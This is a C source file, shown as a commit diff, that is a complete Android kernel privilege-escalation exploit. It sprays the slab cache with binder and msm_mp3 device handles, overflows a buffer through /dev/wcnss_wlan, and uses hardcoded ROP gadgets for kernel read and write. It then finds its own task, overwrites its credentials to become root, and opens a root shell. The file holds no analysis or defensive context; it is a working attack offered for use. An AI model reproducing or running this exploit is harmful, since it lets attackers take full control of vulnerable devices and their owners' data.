|
| 1 | +#include <stdio.h> |
| 2 | +#include <string.h> |
| 3 | +#include <fcntl.h> |
| 4 | +#include <sys/types.h> |
| 5 | +#include <sys/stat.h> |
| 6 | +#include <sys/ioctl.h> |
| 7 | +#include <sys/mman.h> |
| 8 | +#include <malloc.h> |
| 9 | +#include <unistd.h> |
| 10 | +#include <sys/prctl.h> |
| 11 | + |
| 12 | +#define MAX_FD 8 |
| 13 | +#define BINDER_MAX_FDS 1010 |
| 14 | + |
| 15 | +#define SELINUX_ENFORCING (0xC16A7070) |
| 16 | +#define INIT_TASK_ADDRESS (0xC14F6040) |
| 17 | +#define COMM_OFFSET ( 0xC14F635C - INIT_TASK_ADDRESS ) |
| 18 | +#define TASK_OFFSET ( 0xC14F6218 - INIT_TASK_ADDRESS ) |
| 19 | +#define PID_OFFSET ( 0x0 ) |
| 20 | +#define CRED_OFFSET ( COMM_OFFSET - 8 ) |
| 21 | + |
| 22 | +char *name = "freener_pwn0"; |
| 23 | + |
| 24 | +/** |
| 25 | + * |
| 26 | + * ROP_READ |
| 27 | + * C04DBE88 LDR R0, [R2] |
| 28 | + * C04DBE8C BX LR |
| 29 | + */ |
| 30 | +int read_fd = 0; |
| 31 | + |
| 32 | +#define ROP_READ ( 0xC04DBE88 ) |
| 33 | +unsigned int kernel_read( unsigned int dummy, unsigned int address ) |
| 34 | +{ |
| 35 | + unsigned int value; |
| 36 | + value = ioctl( read_fd, dummy, address ); |
| 37 | + return value; |
| 38 | +} |
| 39 | + |
| 40 | +/** |
| 41 | + * ROP_WRITE GATGAD |
| 42 | + * C0760FE4 STR R2, [R1] |
| 43 | + * C0760FE8 BX LR |
| 44 | + */ |
| 45 | +#define ROP_WRITE ( 0xC0760FE4 ) |
| 46 | +int write_fd = 0; |
| 47 | +void kernel_write( unsigned int address, unsigned int value ) |
| 48 | +{ |
| 49 | + ioctl( write_fd, address, value ); |
| 50 | +} |
| 51 | + |
| 52 | + |
| 53 | +#define AID_SYSTEM 1000 |
| 54 | + |
| 55 | + |
| 56 | +int main( int argc, char **argv ) |
| 57 | +{ |
| 58 | + int fd[MAX_FD]; |
| 59 | + int binder_fd[BINDER_MAX_FDS]; |
| 60 | + pid_t child; |
| 61 | + int i = 0; |
| 62 | + int z = 0; |
| 63 | + /* |
| 64 | + for ( z=0; z<10; z++ ) { |
| 65 | + child = fork(); |
| 66 | + if ( child == 0 ) { |
| 67 | + printf( "[+] Child %d is spraying\n", z ); |
| 68 | + for( i=0; i < BINDER_MAX_FDS; i++ ) { |
| 69 | + binder_fd[i] = open( "/dev/binder", O_RDWR ); |
| 70 | + if ( binder_fd[i] < 0 ) { |
| 71 | + printf( "[-] Can not open binder %d\n", i ); |
| 72 | + return -1; |
| 73 | + } |
| 74 | + } |
| 75 | + printf( "[+] Child is waiting\n" ); |
| 76 | + read(0, binder_fd, 10); |
| 77 | + return 0; |
| 78 | + } |
| 79 | + } |
| 80 | + sleep(10); |
| 81 | + printf( "[+] Parent Wake up\n" ); |
| 82 | + */ |
| 83 | + prctl( PR_SET_NAME, (unsigned long)name, 0, 0, 0 ); |
| 84 | + |
| 85 | + printf( "[+] Begin to Test Exploit\n" ); |
| 86 | + |
| 87 | + printf( "[+] uid=%d euid=%d\n", getuid(), geteuid() ); |
| 88 | + setgid( AID_SYSTEM ); |
| 89 | + setuid( AID_SYSTEM ); |
| 90 | + printf( "[+] change to system\n" ); |
| 91 | + printf( "[+] uid=%d euid=%d\n", getuid(), geteuid() ); |
| 92 | + |
| 93 | + printf( "[+] Spray SLUB Cache\n" ); |
| 94 | + for( ; i < BINDER_MAX_FDS; i++ ) { |
| 95 | + binder_fd[i] = open( "/dev/binder", O_RDWR ); |
| 96 | + if ( binder_fd[i] < 0 ) { |
| 97 | + printf( "[-] Can not open binder %d\n", i ); |
| 98 | + return -1; |
| 99 | + } |
| 100 | + } |
| 101 | + |
| 102 | + for ( i = 0; i < BINDER_MAX_FDS; i++ ) { |
| 103 | + close( binder_fd[i] ); |
| 104 | + } |
| 105 | + for( i=0; i < BINDER_MAX_FDS; i++ ) { |
| 106 | + binder_fd[i] = open( "/dev/binder", O_RDWR ); |
| 107 | + if ( binder_fd[i] < 0 ) { |
| 108 | + printf( "[-] Can not open binder %d\n", i ); |
| 109 | + return -1; |
| 110 | + } |
| 111 | + } |
| 112 | + for ( i=0; i < MAX_FD; i++ ) { |
| 113 | + fd[i] = open( "/dev/msm_mp3", O_RDWR | O_NONBLOCK ); |
| 114 | + if ( fd[i] < 0 ) { |
| 115 | + printf( "[-] Can not open /dev/msm_mp3\n" ); |
| 116 | + return -1; |
| 117 | + } |
| 118 | + } |
| 119 | + |
| 120 | + printf( "[+] Spray SLUB Cache Down\n" ); |
| 121 | + |
| 122 | + int fd_wlan; |
| 123 | + char *buffer1 = NULL; |
| 124 | + int message1_len = 512 + 0x150+4 - 4; |
| 125 | + |
| 126 | + fd_wlan = open( "/dev/wcnss_wlan", O_RDWR ); |
| 127 | + if ( fd_wlan < 0 ) { |
| 128 | + printf( "[-] Can not open /dev/wcnss_wlan\n" ); |
| 129 | + return -1; |
| 130 | + } |
| 131 | + |
| 132 | + buffer1 = (char *)malloc( message1_len + 4 ); |
| 133 | + if ( buffer1 == NULL ) { |
| 134 | + printf( "[-] No enough memory\n" ); |
| 135 | + return -1; |
| 136 | + } |
| 137 | + memset( buffer1, 0, message1_len+4 ); |
| 138 | + |
| 139 | + |
| 140 | + int length = 512; |
| 141 | + *(unsigned int *)buffer1 = length; |
| 142 | + *(unsigned int *)(buffer1 + length + 0x14C) = ROP_READ; |
| 143 | + |
| 144 | + |
| 145 | + int count = 0; |
| 146 | + close( fd[0] ); |
| 147 | + close( fd[2] ); |
| 148 | + count = write( fd_wlan, buffer1, message1_len + 4 ); |
| 149 | + |
| 150 | + printf( "[+] Trigger Kernel Execution Code\n" ); |
| 151 | + int result, target_one = 0; |
| 152 | + for ( i=1; i<8; i++ ) { |
| 153 | + if ( i==2 ) { |
| 154 | + continue; |
| 155 | + } |
| 156 | + result = ioctl( fd[i], 0x41414141, SELINUX_ENFORCING ); |
| 157 | + if ( result == 0x1 ) { |
| 158 | + target_one = i; |
| 159 | + } |
| 160 | + } |
| 161 | + /* |
| 162 | + result = ioctl( fd[1], 0x41414141, SELINUX_ENFORCING ); |
| 163 | + if ( result != 0x1 ) { |
| 164 | + result = ioctl( fd[3], 0x41414141, SELINUX_ENFORCING ); |
| 165 | + if ( result != 0x1 ) { |
| 166 | + printf( "[-] Overflow to Target Object failed %x\n", result ); |
| 167 | + return -1; |
| 168 | + } |
| 169 | + else { |
| 170 | + printf( "[+] Overflow object 3 \n" ); |
| 171 | + target_one = 3; |
| 172 | + } |
| 173 | + } |
| 174 | + else { |
| 175 | + printf( "[+] Overflow object 1 \n" ); |
| 176 | + target_one = 1; |
| 177 | + } |
| 178 | + */ |
| 179 | + if ( target_one == 0 ) { |
| 180 | + printf( "[-] Overflow to Target Object failed\n" ); |
| 181 | + return -1; |
| 182 | + } |
| 183 | + |
| 184 | + printf( "[+] Overflow object %d \n", target_one ); |
| 185 | + if ( target_one > 3 ) { |
| 186 | + printf( "[-] Overflow Wrong Object \n" ); |
| 187 | + return -1; |
| 188 | + } |
| 189 | + read_fd = fd[ target_one ]; |
| 190 | + close( fd_wlan ); |
| 191 | + |
| 192 | + printf( "[+] Current SELINUX Status %x = %x\n",SELINUX_ENFORCING , result ); |
| 193 | + fd_wlan = open( "/dev/wcnss_wlan", O_RDWR ); |
| 194 | + if ( fd_wlan < 0 ) { |
| 195 | + printf( "[-] Can not open /dev/wcnss_wlan\n" ); |
| 196 | + return -1; |
| 197 | + } |
| 198 | + |
| 199 | + printf( "[+] Open wcanss_wlan again\n" ); |
| 200 | + |
| 201 | + *(unsigned int *)(buffer1 + length + 0x14C) = ROP_WRITE; |
| 202 | + close(fd[4]); |
| 203 | + close( fd[6] ); |
| 204 | + count = write( fd_wlan, buffer1, message1_len + 4 ); |
| 205 | + |
| 206 | + for ( i=1; i<8; i+=2 ){ |
| 207 | + if ( i == target_one ) { |
| 208 | + continue; |
| 209 | + } |
| 210 | + |
| 211 | + ioctl( fd[i], SELINUX_ENFORCING, 0x0); |
| 212 | + result = ioctl( fd[target_one], 0x41414141, SELINUX_ENFORCING ); |
| 213 | + if ( result == 0x0) { |
| 214 | + write_fd = fd[i]; |
| 215 | + break; |
| 216 | + } |
| 217 | + } |
| 218 | + if ( i == 9 ) { |
| 219 | + printf( "[-] Overflow target object 2 failed\n" ); |
| 220 | + return -1; |
| 221 | + } |
| 222 | + |
| 223 | + printf( "[+] Overflow object %d \n", i ); |
| 224 | + printf( "[+] Write success %x\n", result ); |
| 225 | + |
| 226 | + /** |
| 227 | + * Find MySelf |
| 228 | + */ |
| 229 | + unsigned int task = 0; |
| 230 | + task = kernel_read( 0x10000001, (INIT_TASK_ADDRESS + TASK_OFFSET) ); |
| 231 | + unsigned int cred = 0; |
| 232 | + unsigned int magic = 0; |
| 233 | + unsigned int magic1 = 0; |
| 234 | + unsigned int comm_address = 0; |
| 235 | + char comm_name[17] = { 0 }; |
| 236 | + unsigned int comm_part_one = 0, comm_part_two = 0, comm_part_three = 0; |
| 237 | + do { |
| 238 | + //printf( "[+] TASK Address : %x\n", task ); |
| 239 | + |
| 240 | + comm_address = task - TASK_OFFSET + COMM_OFFSET; |
| 241 | + //printf( "[+] Comm Address : %x\n", comm_address ); |
| 242 | + comm_part_one = kernel_read( 0x20000002, task - TASK_OFFSET + COMM_OFFSET ); |
| 243 | + comm_part_two = kernel_read( 0x20000002, task - TASK_OFFSET + COMM_OFFSET + 4 ); |
| 244 | + comm_part_three = kernel_read( 0x20000002, task - TASK_OFFSET + COMM_OFFSET +8 ); |
| 245 | + (*(unsigned int *)comm_name) = comm_part_one; |
| 246 | + (*(unsigned int *)(comm_name+4)) = comm_part_two; |
| 247 | + (*(unsigned int *)(comm_name+8)) = comm_part_three; |
| 248 | + |
| 249 | + //printf( "[+] Command line : %s\n", comm_name ); |
| 250 | + |
| 251 | + if ( comm_part_one == 0x65657266 && |
| 252 | + comm_part_two == 0x5F72656E && |
| 253 | + comm_part_three == 0x306E7770 ) { |
| 254 | + cred = kernel_read( 0x30000003, task - TASK_OFFSET + CRED_OFFSET ); |
| 255 | + printf( "[+] CRED address : %x\n", cred ); |
| 256 | + magic = kernel_read( 0x40000004, cred + 12 ); |
| 257 | + break; |
| 258 | + } |
| 259 | + task = kernel_read( 0x20000002, task - TASK_OFFSET + TASK_OFFSET ); |
| 260 | + } while ( task != (INIT_TASK_ADDRESS + TASK_OFFSET) ); |
| 261 | + |
| 262 | + |
| 263 | + if ( task == INIT_TASK_ADDRESS ) { |
| 264 | + printf( "[-] Do not find myself\n" ); |
| 265 | + } |
| 266 | + if ( cred == 0 ) { |
| 267 | + printf( "[-] Do not get CRED address\n" ); |
| 268 | + return -1; |
| 269 | + } |
| 270 | + |
| 271 | + if ( magic != 0x43736564 || magic != 0x44656144 ) { |
| 272 | + magic = 4; |
| 273 | + } |
| 274 | + else { |
| 275 | + magic = 16; |
| 276 | + } |
| 277 | + |
| 278 | + printf( "[+] Modify CRED\n" ); |
| 279 | + |
| 280 | + for ( i=0; i<17; i++ ) { |
| 281 | + if ( i < 8 ) { |
| 282 | + kernel_write( cred + magic + i*4, 0x0 ); |
| 283 | + } |
| 284 | + else if ( i == 8 ) { |
| 285 | + continue; |
| 286 | + } |
| 287 | + else { |
| 288 | + kernel_write( cred + magic + i*4, 0xFFFFFFFF ); |
| 289 | + } |
| 290 | + } |
| 291 | + |
| 292 | + if ( getuid() == 0 ) { |
| 293 | + printf( "[+] Root Success\n" ); |
| 294 | + execl( "/system/bin/sh", "/system/bin/sh", NULL ); |
| 295 | + return 1; |
| 296 | + } |
| 297 | + |
| 298 | + printf( "[+] Failed \n" ); |
| 299 | + |
| 300 | + return 0; |
| 301 | +} |
0 commit comments